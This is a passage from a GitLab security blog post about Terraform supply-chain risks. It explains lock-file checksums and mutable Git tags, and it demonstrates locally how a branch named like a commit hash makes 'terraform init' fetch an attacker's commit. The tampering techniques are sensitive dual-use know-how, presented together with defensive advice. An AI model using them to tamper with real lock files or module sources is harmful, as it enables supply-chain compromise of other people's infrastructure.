[{"data":1,"prerenderedAt":2779},["ShallowReactive",2],{"/blog/terraform-as-part-of-software-supply-chain-part1-modules-and-providers":3,"navigation-en-us":1993,"banner-en-us":2421,"footer-en-us":2431,"blog-post-authors-en-us-Joern Schneeweisz":2676,"blog-related-posts-en-us-terraform-as-part-of-software-supply-chain-part1-modules-and-providers":2691,"blog-promotions-en-us":2716,"next-steps-en-us":2769},{"id":4,"title":5,"authors":6,"body":8,"category":1974,"date":1975,"description":1976,"extension":1977,"externalUrl":1978,"faq":1978,"featured":1979,"heroImage":1980,"meta":1981,"navigation":540,"path":1982,"seo":1983,"slug":1988,"stem":1989,"tags":1990,"template":1991,"updatedDate":1978,"__hash__":1992},"blogPosts/en-us/blog/terraform-as-part-of-software-supply-chain-part1-modules-and-providers.md","Terraform as part of the software supply chain, Part 1 - Modules and Providers",[7],"Joern Schneeweisz",{"type":9,"value":10,"toc":1962},"minimark",[11,16,20,29,33,36,40,43,46,100,109,112,116,129,134,159,176,197,312,328,343,348,363,374,378,393,396,440,458,1126,1129,1251,1254,1496,1502,1506,1509,1520,1523,1531,1540,1550,1615,1621,1627,1634,1889,1909,1915,1921,1927,1931,1934,1938,1941,1944,1958],[12,13,15],"h2",{"id":14},"what-is-terraform","What is Terraform?",[17,18,19],"p",{},"Terraform is an infrastructure as code (IaC) solution that helps businesses grow their infrastructure securely and at scale, while managing everything in it from multiple servers to multiple clouds. Terraform lets you build your complete infrastructure as code.",[17,21,22,23,28],{},"Terraform, which was created by HashiCorp, is an open-source, public-cloud-provisioning tool written in the Go language. Although Terraform serves many functions, its primary use is to help DevOps teams automate various infrastructure management tasks and helps you manage all of your servers and resources, even if they come from different providers (unlike some other IaC competitors). Terraforms connects all of your infrastructures and helps you manage it.\nTerraform supports many providers like ",[24,25,27],"a",{"href":26},"/blog/deploy-aws/","AWS",", Google Cloud Platform, Azure, and others via APIs provided by the cloud service providers.",[12,30,32],{"id":31},"what-are-the-benefits-of-using-terraform-providers","What are the benefits of using Terraform providers?",[17,34,35],{},"The biggest benefit of using a Terraform cloud provider is the versatility that it provides to DevOps teams. Regardless of which provider you use, Terraform lets you easily manage all of your resources no matter where you’re located and how many servers you have at your disposal.\nThe other major advantage to using Terraform is automation. On any given DevOps team today, there are far too many functions that need to happen repeatedly and simultaneously. The only way to be able to efficiently manage all that needs to be done is to automate a lot of your processes.\nTerraform helps you automate all of your server management tasks. Everything is done in code, and it eliminates a lot of manual work. The ability to create scripts that run your task actions and reuse them makes life a lot easier for DevOps teams.\nFinally, unlike other IaC providers, Terraform doesn’t require any agent software to be installed on the managed infrastructure, making it more user-friendly than those competitors that require agent-based software for IaC installation.",[12,37,39],{"id":38},"terraform-security","Terraform Security",[17,41,42],{},"When talking about Terraform security, there are many resources covering the security aspects of the infrastructure surrounding certain Terraform configurations. Looking at the security of Terraform itself and the things which could go wrong when running it, however, have very little coverage so far.",[17,44,45],{},"Some previously published work I'm aware of includes:",[47,48,49,65,91],"ul",{},[50,51,52,53,58,59,64],"li",{},"A ",[24,54,57],{"href":55,"rel":56},"https://sprocketfox.io/xssfox/2022/02/09/terraformsupply/",[],"blogpost covering malicious Terraform modules"," by ",[24,60,63],{"href":61,"rel":62},"https://sprocketfox.io/xssfox/about/",[],"xssfox"," had already been published when I started digging into the topic. The main attack vector in this case is a malicious Terraform module which exfiltrates an AWS System Manager-stored secret via HTTP towards an attacker-controlled host.",[50,66,67,68,73,74,79,80,84,85,90],{},"The folks at ",[24,69,72],{"href":70,"rel":71},"https://bridgecrew.io/",[],"bridgecrew"," reacted to the above xssfox post with some ",[24,75,78],{"href":76,"rel":77},"https://github.com/bridgecrewio/checkov/blob/63d36e5ba309e9c03ef99a13f264ba256d756d8d/checkov/terraform/checks/graph_checks/aws/HTTPNotSendingPasswords.yaml",[],"static detection rules"," for their tool ",[81,82,83],"code",{},"checkov"," and a ",[24,86,89],{"href":87,"rel":88},"https://bridgecrew.io/blog/terraform-supply-chain-security-risks-prevent-them-with-checkov/",[],"blogpost looking at the supply chain aspects of Terraform",".",[50,92,93,94,99],{},"Also worth mentioning is, of course, ",[24,95,98],{"href":96,"rel":97},"https://www.terraform.io/cloud-docs/architectural-details/security-model#malicious-terraform-providers-or-modules",[],"Hashicorp's stance on malicious Terraform modules and providers",":",[101,102,103],"blockquote",{},[17,104,105],{},[106,107,108],"strong",{},"\"Terraform providers and modules used in your Terraform configuration will have full access to the variables and Terraform state within a workspace. Terraform Cloud cannot prevent malicious providers and modules from exfiltrating this sensitive data. We recommend only using trusted modules and providers within your Terraform configuration.\"",[17,110,111],{},"The blog post you're reading is part one of a three-part series examining the supply chain aspects of Terraform and aims to look at malicious Terraform modules and providers. I'll also give recommendations on securing the process of running Terraform against modules and providers gone rogue. The next two blogs in the series will build upon these findings and cover more in-depth topics and vulnerabilities.",[12,113,115],{"id":114},"provider-security","Provider security",[17,117,118,119,122,123,128],{},"Providers in Terraform are executable binaries, so if a provider turns malicious it's certainly \"game over\" in the sense that it can do whatever the host OS it runs on allows. Providers need to have a signature which gets validated by Terraform upon installation of the Provider. Version ",[81,120,121],{},"0.14"," Terraform creates a ",[24,124,127],{"href":125,"rel":126},"https://www.terraform.io/language/files/dependency-lock",[],"dependency lock file"," which records checksums of the used providers in two different formats.",[130,131,133],"h3",{"id":132},"zh-and-h1-checksums","zh and h1 checksums",[17,135,136,137,140,141,144,145,148,149,154,155,158],{},"The first format, ",[81,138,139],{},"zh",", is simply a SHA256 hash of the ",[81,142,143],{},"zip"," file which contains a provider for a specific OS/hardware platform combination. The ",[81,146,147],{},"h1"," hash is a so-called \"",[24,150,153],{"href":151,"rel":152},"https://pkg.go.dev/golang.org/x/mod/sumdb/dirhash",[],"dirhash","\" of the provider's directory.\nSo if we look at the following lock file ",[81,156,157],{},".terraform.lock.hcl"," we can observe the two different types of hashes:",[160,161,166],"pre",{"className":162,"code":163,"language":164,"meta":165,"style":165},"language-hcl shiki shiki-themes github-light","# This file is maintained automatically by \"terraform init\".  # Manual edits may be lost in future updates.    provider \"registry.terraform.io/hashicorp/aws\" {  version = \"4.11.0\"  hashes = [  \"h1:JTgGUEVVuuv82X0ePjDM73f+ZM+NfLwb/GGNAOM0CdE=\",  \"zh:3e4634f4babcef402160ffb97f9f37e3e781313ceb7b7858fe4b7fc0e2e33e99\",  \"zh:3ff647aa88e71419480e3f51a4b40e3b0e2d66482bea97c0b4e75f37aa5ad1f1\",  \"zh:4680d16fbb85663034dc3677b402e9e78ab1d4040dd80603052817a96ec08911\",  \"zh:5190d03f43f7ad56dae0a7f0441a0f5b2590f42f6e07a724fe11dd50c42a12e4\",  \"zh:622426fcdbb927e7c198fe4b890a01a5aa312e462cd82ae1e302186eeac1d071\",  \"zh:9b12af85486a96aedd8d7984b0ff811a4b42e3d88dad1a3fb4c0b580d04fa425\",  \"zh:b0b766a835c79f8dd58b93d25df8f37749f33cca2297ac088d402d718baddd9c\",  \"zh:b293cf26a02992b2167ed3f63711dc01221c4a5e2984b6c7c0c04a6155ab0526\",  \"zh:ca8e1f5c58fc838edb5fe7528aec3f2fcbaeabf808add0f401aee5073b61f17f\",  \"zh:e0d2ad2767c0134841d52394d180f8f3315c238949c8d11be39a214630e8d50e\",  \"zh:ece0d11c35a8537b662287e00af4d27a27eb9558353b133674af90ec11c818d3\",  \"zh:f7e1cd07ae883d3be01942dc2b0d516b9736a74e6037287ab19f616725c8f7e8\",  ]  }\n","hcl","",[81,167,168],{"__ignoreMap":165},[169,170,173],"span",{"class":171,"line":172},"line",1,[169,174,163],{"class":175},"sAwPA",[17,177,178,179,181,182,187,188,193,194,196],{},"The ",[81,180,139],{}," entries can also be found in the ",[24,183,186],{"href":184,"rel":185},"https://github.com/hashicorp/terraform-provider-aws/releases/download/v4.11.0/",[],"provider's v.4.11.0 release"," within the ",[24,189,192],{"href":190,"rel":191},"https://github.com/hashicorp/terraform-provider-aws/releases/download/v4.11.0/terraform-provider-aws_4.11.0_SHA256SUMS",[],"SHA256SUMS"," file. To understand the single ",[81,195,147],{}," dirhash entry we need to have a look at the provider's directory.\nIn our Terraform project it is constructed like this:",[160,198,202],{"className":199,"code":200,"language":201,"meta":165,"style":165},"language-shell shiki shiki-themes github-light","$ ls .terraform/providers/registry.terraform.io/hashicorp/aws/4.11.0/linux_amd64/  terraform-provider-aws_v4.11.0_x5\n$ cd .terraform/providers/registry.terraform.io/hashicorp/aws/4.11.0/linux_amd64/\n$ sha256sum terraform-provider-aws_v4.11.0_x5\n34c03613d15861d492c2d826c251580c58de232be6e50066cb0a0bb8c87b48de terraform-provider-aws_v4.11.0_x5\n$ sha256sum terraform-provider-aws_v4.11.0_x5 > /tmp/dirhash\n$ sha256sum /tmp/dirhash    253806504555baebfcd97d1e3e30ccef77fe64cf8d7cbc1bfc618d00e33409d1 /tmp/dirhash\n$ echo 253806504555baebfcd97d1e3e30ccef77fe64cf8d7cbc1bfc618d00e33409d1 | ruby -rbase64 -e 'puts Base64.encode64 [STDIN.read.chomp].pack(\"H*\")'  JTgGUEVVuuv82X0ePjDM73f+ZM+NfLwb/GGNAOM0CdE=\n","shell",[81,203,204,220,231,242,250,267,282],{"__ignoreMap":165},[169,205,206,210,214,217],{"class":171,"line":172},[169,207,209],{"class":208},"s7eDp","$",[169,211,213],{"class":212},"sYBdl"," ls",[169,215,216],{"class":212}," .terraform/providers/registry.terraform.io/hashicorp/aws/4.11.0/linux_amd64/",[169,218,219],{"class":212},"  terraform-provider-aws_v4.11.0_x5\n",[169,221,223,225,228],{"class":171,"line":222},2,[169,224,209],{"class":208},[169,226,227],{"class":212}," cd",[169,229,230],{"class":212}," .terraform/providers/registry.terraform.io/hashicorp/aws/4.11.0/linux_amd64/\n",[169,232,234,236,239],{"class":171,"line":233},3,[169,235,209],{"class":208},[169,237,238],{"class":212}," sha256sum",[169,240,241],{"class":212}," terraform-provider-aws_v4.11.0_x5\n",[169,243,245,248],{"class":171,"line":244},4,[169,246,247],{"class":208},"34c03613d15861d492c2d826c251580c58de232be6e50066cb0a0bb8c87b48de",[169,249,241],{"class":212},[169,251,253,255,257,260,264],{"class":171,"line":252},5,[169,254,209],{"class":208},[169,256,238],{"class":212},[169,258,259],{"class":212}," terraform-provider-aws_v4.11.0_x5",[169,261,263],{"class":262},"sD7c4"," >",[169,265,266],{"class":212}," /tmp/dirhash\n",[169,268,270,272,274,277,280],{"class":171,"line":269},6,[169,271,209],{"class":208},[169,273,238],{"class":212},[169,275,276],{"class":212}," /tmp/dirhash",[169,278,279],{"class":212},"    253806504555baebfcd97d1e3e30ccef77fe64cf8d7cbc1bfc618d00e33409d1",[169,281,266],{"class":212},[169,283,285,287,290,293,296,299,303,306,309],{"class":171,"line":284},7,[169,286,209],{"class":208},[169,288,289],{"class":212}," echo",[169,291,292],{"class":212}," 253806504555baebfcd97d1e3e30ccef77fe64cf8d7cbc1bfc618d00e33409d1",[169,294,295],{"class":262}," |",[169,297,298],{"class":208}," ruby",[169,300,302],{"class":301},"sYu0t"," -rbase64",[169,304,305],{"class":301}," -e",[169,307,308],{"class":212}," 'puts Base64.encode64 [STDIN.read.chomp].pack(\"H*\")'",[169,310,311],{"class":212},"  JTgGUEVVuuv82X0ePjDM73f+ZM+NfLwb/GGNAOM0CdE=\n",[17,313,178,314,316,317,319,320,323,324,327],{},[81,315,153],{},", called ",[81,318,147],{}," in the lock file, is created from an alphabetical list of ",[81,321,322],{},"sha256sum filename",". Once this list is ",[81,325,326],{},"sha256sum"," ed again, the resulting hash is taken in binary representation and then converted to Base64.",[17,329,330,331,333,334,336,337,339,340,342],{},"From an attacker's perspective, the interesting part about the lock file is that it can contain multiple ",[81,332,139],{}," and ",[81,335,147],{}," hashes per provider. It is also noteworthy that those two types don't have to have any relationship. If we modify a downloaded provider's content on disk, we can simply place the corresponding ",[81,338,147],{}," hash next to any other ",[81,341,147],{}," in the lock file. As there can be multiple entries we would not break any legitimate installation and just allow-list a modified provider directory on-disk on top of what's already allowed.",[17,344,345],{},[106,346,347],{},"Lessons learned here",[349,350,351,357],"ol",{},[50,352,353,354,356],{},"Put your ",[81,355,157],{}," under version control (Terraform even suggests this on the command line when it generates the file).",[50,358,359,360,362],{},"Verify and double-check any modifications and additions to the ",[81,361,157],{}," file; this is crucial to detect any tampering with the providers in use.",[101,364,365],{},[17,366,367,368,373],{},"You’re invited! Join us on June 23rd for the ",[24,369,372],{"href":370,"rel":371},"https://page.gitlab.com/fifteen",[],"GitLab 15 launch event"," with DevOps guru Gene Kim and several GitLab leaders. They’ll show you what they see for the future of DevOps and The One DevOps Platform.",[12,375,377],{"id":376},"module-security","Module security",[17,379,380,381,386,387,392],{},"Modules don't have any form of signature, and can be downloaded from different ",[24,382,385],{"href":383,"rel":384},"https://www.terraform.io/language/modules/sources#module-sources",[],"module sources",". By default what happens when you instruct Terraform to download a module is that the ",[24,388,391],{"href":389,"rel":390},"https://www.terraform.io/language/modules/sources#terraform-registry",[],"public Terraform Registry"," will redirect the Terraform client to download a Git tag from a public GitHub repository. The problem here is that Git tags on GitHub are mutable. They can simply be replaced with completely different content by e.g. a force-push of new content under the same tag to GitHub.",[17,394,395],{},"So having a module referenced like:",[160,397,399],{"className":162,"code":398,"language":164,"meta":165,"style":165},"module \"hello\" {\n  source  = \"joernchen/hello/test\"\n  version = \"0.0.1\"\n}\n",[81,400,401,413,424,435],{"__ignoreMap":165},[169,402,403,406,409],{"class":171,"line":172},[169,404,405],{"class":208},"module",[169,407,408],{"class":301}," \"hello\"",[169,410,412],{"class":411},"sgsFI"," {\n",[169,414,415,418,421],{"class":171,"line":222},[169,416,417],{"class":411},"  source",[169,419,420],{"class":262},"  =",[169,422,423],{"class":212}," \"joernchen/hello/test\"\n",[169,425,426,429,432],{"class":171,"line":233},[169,427,428],{"class":411},"  version",[169,430,431],{"class":262}," =",[169,433,434],{"class":212}," \"0.0.1\"\n",[169,436,437],{"class":171,"line":244},[169,438,439],{"class":411},"}\n",[17,441,442,443,451,452,457],{},"would download the ",[24,444,447,448],{"href":445,"rel":446},"https://github.com/joernchen/terraform-test-hello/releases/tag/v0.0.1",[],"Git tag ",[81,449,450],{},"v0.0.1"," from my GitHub repository but there's no guarantee about the content.\nAt this point, the most common recommendation is ",[24,453,456],{"href":454,"rel":455},"https://www.terraform.io/language/modules/sources#selecting-a-revision",[],"to specify a git ref"," pointing to a full commit SHA. This approach isn't perfect either in the non-default case. Depending on the module source, we can utilize the fact that we're able to name a branch just like a commit hash. GitLab and GitHub won't allow you to create such branches, or to push branches that look like commit hashes. However, other module sources might allow this. An actual attack using this vector would look like what we see below.\nFirst we look at a legitimate clone referencing a git commit:",[160,459,461],{"className":199,"code":460,"language":201,"meta":165,"style":165},"$ cat main.tf module \"immutable_module\"{\n  source = \"git::http://localhost:8080/.git?ref=e23c0dcbb43ca19ea9ca91c879aafcc66c990758\"\n}\n$ terraform init                                                                    Initializing modules...\nDownloading git::http://localhost:8080/.git?ref=e23c0dcbb43ca19ea9ca91c879aafcc66c990758 for immutable_module...\n- immutable_module in .terraform/modules/immutable_module\n\nInitializing the backend...\n\nInitializing provider plugins...\n- Finding latest version of hashicorp/http...\n- Installing hashicorp/http v2.1.0...\n- Installed hashicorp/http v2.1.0 (signed by HashiCorp)\n\nTerraform has created a lock file .terraform.lock.hcl to record the provider\nselections it made above. Include this file in your version control repository\nso that Terraform can guarantee to make the same selections by default when\nyou run \"terraform init\" in the future.\n\nTerraform has been successfully initialized!\n\nYou may now begin working with Terraform. Try running \"terraform plan\" to see\nany changes that are required for your infrastructure. All Terraform commands\nshould now work.\n\nIf you ever set or change modules or backend configuration for Terraform,\nrerun this command to reinitialize your working directory. If you forget, other\ncommands will detect it and remind you to do so if necessary.\n$ ls -al .terraform/modules/immutable_module\ntotal 20\ndrwxr-xr-x 3 joern joern 4096  9. Mai 09:53 .\ndrwxr-xr-x 3 joern joern 4096  9. Mai 09:53 ..\ndrwxr-xr-x 8 joern joern 4096  9. Mai 09:53 .git\n-rw-r--r-- 1 joern joern  159  9. Mai 09:53 main.tf\n-rw-r--r-- 1 joern joern   22  9. Mai 09:53 README.md\n",[81,462,463,479,488,492,508,522,536,542,554,559,570,590,604,629,634,669,705,745,764,769,785,790,828,860,871,876,913,947,983,995,1004,1033,1055,1078,1103],{"__ignoreMap":165},[169,464,465,467,470,473,476],{"class":171,"line":172},[169,466,209],{"class":208},[169,468,469],{"class":212}," cat",[169,471,472],{"class":212}," main.tf",[169,474,475],{"class":212}," module",[169,477,478],{"class":212}," \"immutable_module\"{\n",[169,480,481,483,485],{"class":171,"line":222},[169,482,417],{"class":301},[169,484,431],{"class":212},[169,486,487],{"class":212}," \"git::http://localhost:8080/.git?ref=e23c0dcbb43ca19ea9ca91c879aafcc66c990758\"\n",[169,489,490],{"class":171,"line":233},[169,491,439],{"class":411},[169,493,494,496,499,502,505],{"class":171,"line":244},[169,495,209],{"class":208},[169,497,498],{"class":212}," terraform",[169,500,501],{"class":212}," init",[169,503,504],{"class":212},"                                                                    Initializing",[169,506,507],{"class":212}," modules...\n",[169,509,510,513,516,519],{"class":171,"line":252},[169,511,512],{"class":208},"Downloading",[169,514,515],{"class":212}," git::http://localhost:8080/.git?ref=e23c0dcbb43ca19ea9ca91c879aafcc66c990758",[169,517,518],{"class":212}," for",[169,520,521],{"class":212}," immutable_module...\n",[169,523,524,527,530,533],{"class":171,"line":269},[169,525,526],{"class":208},"-",[169,528,529],{"class":212}," immutable_module",[169,531,532],{"class":212}," in",[169,534,535],{"class":212}," .terraform/modules/immutable_module\n",[169,537,538],{"class":171,"line":284},[169,539,541],{"emptyLinePlaceholder":540},true,"\n",[169,543,545,548,551],{"class":171,"line":544},8,[169,546,547],{"class":208},"Initializing",[169,549,550],{"class":212}," the",[169,552,553],{"class":212}," backend...\n",[169,555,557],{"class":171,"line":556},9,[169,558,541],{"emptyLinePlaceholder":540},[169,560,562,564,567],{"class":171,"line":561},10,[169,563,547],{"class":208},[169,565,566],{"class":212}," provider",[169,568,569],{"class":212}," plugins...\n",[169,571,573,575,578,581,584,587],{"class":171,"line":572},11,[169,574,526],{"class":208},[169,576,577],{"class":212}," Finding",[169,579,580],{"class":212}," latest",[169,582,583],{"class":212}," version",[169,585,586],{"class":212}," of",[169,588,589],{"class":212}," hashicorp/http...\n",[169,591,593,595,598,601],{"class":171,"line":592},12,[169,594,526],{"class":208},[169,596,597],{"class":212}," Installing",[169,599,600],{"class":212}," hashicorp/http",[169,602,603],{"class":212}," v2.1.0...\n",[169,605,607,609,612,614,617,620,623,626],{"class":171,"line":606},13,[169,608,526],{"class":208},[169,610,611],{"class":212}," Installed",[169,613,600],{"class":212},[169,615,616],{"class":212}," v2.1.0",[169,618,619],{"class":411}," (signed ",[169,621,622],{"class":212},"by",[169,624,625],{"class":212}," HashiCorp",[169,627,628],{"class":411},")\n",[169,630,632],{"class":171,"line":631},14,[169,633,541],{"emptyLinePlaceholder":540},[169,635,637,640,643,646,649,652,655,658,661,664,666],{"class":171,"line":636},15,[169,638,639],{"class":208},"Terraform",[169,641,642],{"class":212}," has",[169,644,645],{"class":212}," created",[169,647,648],{"class":212}," a",[169,650,651],{"class":212}," lock",[169,653,654],{"class":212}," file",[169,656,657],{"class":212}," .terraform.lock.hcl",[169,659,660],{"class":212}," to",[169,662,663],{"class":212}," record",[169,665,550],{"class":212},[169,667,668],{"class":212}," provider\n",[169,670,672,675,678,681,684,687,690,692,694,697,699,702],{"class":171,"line":671},16,[169,673,674],{"class":208},"selections",[169,676,677],{"class":212}," it",[169,679,680],{"class":212}," made",[169,682,683],{"class":212}," above.",[169,685,686],{"class":212}," Include",[169,688,689],{"class":212}," this",[169,691,654],{"class":212},[169,693,532],{"class":212},[169,695,696],{"class":212}," your",[169,698,583],{"class":212},[169,700,701],{"class":212}," control",[169,703,704],{"class":212}," repository\n",[169,706,708,711,714,717,720,723,725,728,730,733,736,739,742],{"class":171,"line":707},17,[169,709,710],{"class":208},"so",[169,712,713],{"class":212}," that",[169,715,716],{"class":212}," Terraform",[169,718,719],{"class":212}," can",[169,721,722],{"class":212}," guarantee",[169,724,660],{"class":212},[169,726,727],{"class":212}," make",[169,729,550],{"class":212},[169,731,732],{"class":212}," same",[169,734,735],{"class":212}," selections",[169,737,738],{"class":212}," by",[169,740,741],{"class":212}," default",[169,743,744],{"class":212}," when\n",[169,746,748,751,754,757,759,761],{"class":171,"line":747},18,[169,749,750],{"class":208},"you",[169,752,753],{"class":212}," run",[169,755,756],{"class":212}," \"terraform init\"",[169,758,532],{"class":212},[169,760,550],{"class":212},[169,762,763],{"class":212}," future.\n",[169,765,767],{"class":171,"line":766},19,[169,768,541],{"emptyLinePlaceholder":540},[169,770,772,774,776,779,782],{"class":171,"line":771},20,[169,773,639],{"class":208},[169,775,642],{"class":212},[169,777,778],{"class":212}," been",[169,780,781],{"class":212}," successfully",[169,783,784],{"class":212}," initialized!\n",[169,786,788],{"class":171,"line":787},21,[169,789,541],{"emptyLinePlaceholder":540},[169,791,793,796,799,802,805,808,811,814,817,820,823,825],{"class":171,"line":792},22,[169,794,795],{"class":208},"You",[169,797,798],{"class":212}," may",[169,800,801],{"class":212}," now",[169,803,804],{"class":212}," begin",[169,806,807],{"class":212}," working",[169,809,810],{"class":212}," with",[169,812,813],{"class":212}," Terraform.",[169,815,816],{"class":212}," Try",[169,818,819],{"class":212}," running",[169,821,822],{"class":212}," \"terraform plan\"",[169,824,660],{"class":212},[169,826,827],{"class":212}," see\n",[169,829,831,834,837,839,842,845,847,849,852,855,857],{"class":171,"line":830},23,[169,832,833],{"class":208},"any",[169,835,836],{"class":212}," changes",[169,838,713],{"class":212},[169,840,841],{"class":212}," are",[169,843,844],{"class":212}," required",[169,846,518],{"class":212},[169,848,696],{"class":212},[169,850,851],{"class":212}," infrastructure.",[169,853,854],{"class":212}," All",[169,856,716],{"class":212},[169,858,859],{"class":212}," commands\n",[169,861,863,866,868],{"class":171,"line":862},24,[169,864,865],{"class":208},"should",[169,867,801],{"class":212},[169,869,870],{"class":212}," work.\n",[169,872,874],{"class":171,"line":873},25,[169,875,541],{"emptyLinePlaceholder":540},[169,877,879,882,885,888,891,894,897,900,902,905,908,910],{"class":171,"line":878},26,[169,880,881],{"class":208},"If",[169,883,884],{"class":212}," you",[169,886,887],{"class":212}," ever",[169,889,890],{"class":212}," set",[169,892,893],{"class":212}," or",[169,895,896],{"class":212}," change",[169,898,899],{"class":212}," modules",[169,901,893],{"class":212},[169,903,904],{"class":212}," backend",[169,906,907],{"class":212}," configuration",[169,909,518],{"class":212},[169,911,912],{"class":212}," Terraform,\n",[169,914,916,919,921,924,926,929,931,933,936,939,941,944],{"class":171,"line":915},27,[169,917,918],{"class":208},"rerun",[169,920,689],{"class":212},[169,922,923],{"class":212}," command",[169,925,660],{"class":212},[169,927,928],{"class":212}," reinitialize",[169,930,696],{"class":212},[169,932,807],{"class":212},[169,934,935],{"class":212}," directory.",[169,937,938],{"class":212}," If",[169,940,884],{"class":212},[169,942,943],{"class":212}," forget,",[169,945,946],{"class":212}," other\n",[169,948,950,953,956,959,961,964,967,969,971,974,977,980],{"class":171,"line":949},28,[169,951,952],{"class":208},"commands",[169,954,955],{"class":212}," will",[169,957,958],{"class":212}," detect",[169,960,677],{"class":212},[169,962,963],{"class":212}," and",[169,965,966],{"class":212}," remind",[169,968,884],{"class":212},[169,970,660],{"class":212},[169,972,973],{"class":212}," do",[169,975,976],{"class":212}," so",[169,978,979],{"class":212}," if",[169,981,982],{"class":212}," necessary.\n",[169,984,986,988,990,993],{"class":171,"line":985},29,[169,987,209],{"class":208},[169,989,213],{"class":212},[169,991,992],{"class":301}," -al",[169,994,535],{"class":212},[169,996,998,1001],{"class":171,"line":997},30,[169,999,1000],{"class":208},"total",[169,1002,1003],{"class":301}," 20\n",[169,1005,1007,1010,1013,1016,1018,1021,1024,1027,1030],{"class":171,"line":1006},31,[169,1008,1009],{"class":208},"drwxr-xr-x",[169,1011,1012],{"class":301}," 3",[169,1014,1015],{"class":212}," joern",[169,1017,1015],{"class":212},[169,1019,1020],{"class":301}," 4096",[169,1022,1023],{"class":212},"  9.",[169,1025,1026],{"class":212}," Mai",[169,1028,1029],{"class":212}," 09:53",[169,1031,1032],{"class":212}," .\n",[169,1034,1036,1038,1040,1042,1044,1046,1048,1050,1052],{"class":171,"line":1035},32,[169,1037,1009],{"class":208},[169,1039,1012],{"class":301},[169,1041,1015],{"class":212},[169,1043,1015],{"class":212},[169,1045,1020],{"class":301},[169,1047,1023],{"class":212},[169,1049,1026],{"class":212},[169,1051,1029],{"class":212},[169,1053,1054],{"class":212}," ..\n",[169,1056,1058,1060,1063,1065,1067,1069,1071,1073,1075],{"class":171,"line":1057},33,[169,1059,1009],{"class":208},[169,1061,1062],{"class":301}," 8",[169,1064,1015],{"class":212},[169,1066,1015],{"class":212},[169,1068,1020],{"class":301},[169,1070,1023],{"class":212},[169,1072,1026],{"class":212},[169,1074,1029],{"class":212},[169,1076,1077],{"class":212}," .git\n",[169,1079,1081,1084,1087,1089,1091,1094,1096,1098,1100],{"class":171,"line":1080},34,[169,1082,1083],{"class":208},"-rw-r--r--",[169,1085,1086],{"class":301}," 1",[169,1088,1015],{"class":212},[169,1090,1015],{"class":212},[169,1092,1093],{"class":301},"  159",[169,1095,1023],{"class":212},[169,1097,1026],{"class":212},[169,1099,1029],{"class":212},[169,1101,1102],{"class":212}," main.tf\n",[169,1104,1106,1108,1110,1112,1114,1117,1119,1121,1123],{"class":171,"line":1105},35,[169,1107,1083],{"class":208},[169,1109,1086],{"class":301},[169,1111,1015],{"class":212},[169,1113,1015],{"class":212},[169,1115,1116],{"class":301},"   22",[169,1118,1023],{"class":212},[169,1120,1026],{"class":212},[169,1122,1029],{"class":212},[169,1124,1125],{"class":212}," README.md\n",[17,1127,1128],{},"Then we prepare our repository to have a branch with the same name as the previously used commit:",[160,1130,1132],{"className":199,"code":1131,"language":201,"meta":165,"style":165},"$ git checkout -b e23c0dcbb43ca19ea9ca91c879aafcc66c990758\nSwitched to a new branch 'e23c0dcbb43ca19ea9ca91c879aafcc66c990758'\n$ echo \"a malicious file\">malicious.tf\n$ git add malicious.tf $ git commit -m \"a malicious commit\"\n[e23c0dcbb43ca19ea9ca91c879aafcc66c990758 51de72e] a malicious commit\n 1 file changed, 1 insertion(+)\n create mode 100644 malicious.tf\n",[81,1133,1134,1150,1168,1183,1210,1215,1237],{"__ignoreMap":165},[169,1135,1136,1138,1141,1144,1147],{"class":171,"line":172},[169,1137,209],{"class":208},[169,1139,1140],{"class":212}," git",[169,1142,1143],{"class":212}," checkout",[169,1145,1146],{"class":301}," -b",[169,1148,1149],{"class":212}," e23c0dcbb43ca19ea9ca91c879aafcc66c990758\n",[169,1151,1152,1155,1157,1159,1162,1165],{"class":171,"line":222},[169,1153,1154],{"class":208},"Switched",[169,1156,660],{"class":212},[169,1158,648],{"class":212},[169,1160,1161],{"class":212}," new",[169,1163,1164],{"class":212}," branch",[169,1166,1167],{"class":212}," 'e23c0dcbb43ca19ea9ca91c879aafcc66c990758'\n",[169,1169,1170,1172,1174,1177,1180],{"class":171,"line":233},[169,1171,209],{"class":208},[169,1173,289],{"class":212},[169,1175,1176],{"class":212}," \"a malicious file\"",[169,1178,1179],{"class":262},">",[169,1181,1182],{"class":212},"malicious.tf\n",[169,1184,1185,1187,1189,1192,1195,1198,1201,1204,1207],{"class":171,"line":244},[169,1186,209],{"class":208},[169,1188,1140],{"class":212},[169,1190,1191],{"class":212}," add",[169,1193,1194],{"class":212}," malicious.tf",[169,1196,1197],{"class":411}," $ ",[169,1199,1200],{"class":212},"git",[169,1202,1203],{"class":212}," commit",[169,1205,1206],{"class":301}," -m",[169,1208,1209],{"class":212}," \"a malicious commit\"\n",[169,1211,1212],{"class":171,"line":252},[169,1213,1214],{"class":411},"[e23c0dcbb43ca19ea9ca91c879aafcc66c990758 51de72e] a malicious commit\n",[169,1216,1217,1219,1221,1224,1226,1229,1232,1235],{"class":171,"line":269},[169,1218,1086],{"class":208},[169,1220,654],{"class":212},[169,1222,1223],{"class":212}," changed,",[169,1225,1086],{"class":301},[169,1227,1228],{"class":212}," insertion",[169,1230,1231],{"class":411},"(",[169,1233,1234],{"class":208},"+",[169,1236,628],{"class":411},[169,1238,1239,1242,1245,1248],{"class":171,"line":284},[169,1240,1241],{"class":208}," create",[169,1243,1244],{"class":212}," mode",[169,1246,1247],{"class":301}," 100644",[169,1249,1250],{"class":212}," malicious.tf\n",[17,1252,1253],{},"When we initialize the project again we'll pull the malicious branch instead of the referenced commit:",[160,1255,1257],{"className":199,"code":1256,"language":201,"meta":165,"style":165},"$ rm -rf .terraform         $ terraform init\nInitializing modules...\nDownloading git::http://localhost:8080/.git?ref=e23c0dcbb43ca19ea9ca91c879aafcc66c990758 for immutable_module...\n- immutable_module in .terraform/modules/immutable_module\n╷\n│ Error: Invalid block definition\n│ │ On .terraform/modules/immutable_module/malicious.tf line 1: A block definition must have block content delimited by \"{\" and \"}\", starting on the\n│ same line as the block header.\n╵\n\n╷\n│ Error: Invalid block definition\n│ │ On .terraform/modules/immutable_module/malicious.tf line 1: A block definition must have block content delimited by \"{\" and \"}\", starting on the\n│ same line as the block header.\n╵\n",[81,1258,1259,1281,1287,1297,1307,1312,1329,1389,1407,1412,1416,1420,1432,1476,1492],{"__ignoreMap":165},[169,1260,1261,1263,1266,1269,1272,1275,1278],{"class":171,"line":172},[169,1262,209],{"class":208},[169,1264,1265],{"class":212}," rm",[169,1267,1268],{"class":301}," -rf",[169,1270,1271],{"class":212}," .terraform",[169,1273,1274],{"class":411},"         $ ",[169,1276,1277],{"class":212},"terraform",[169,1279,1280],{"class":212}," 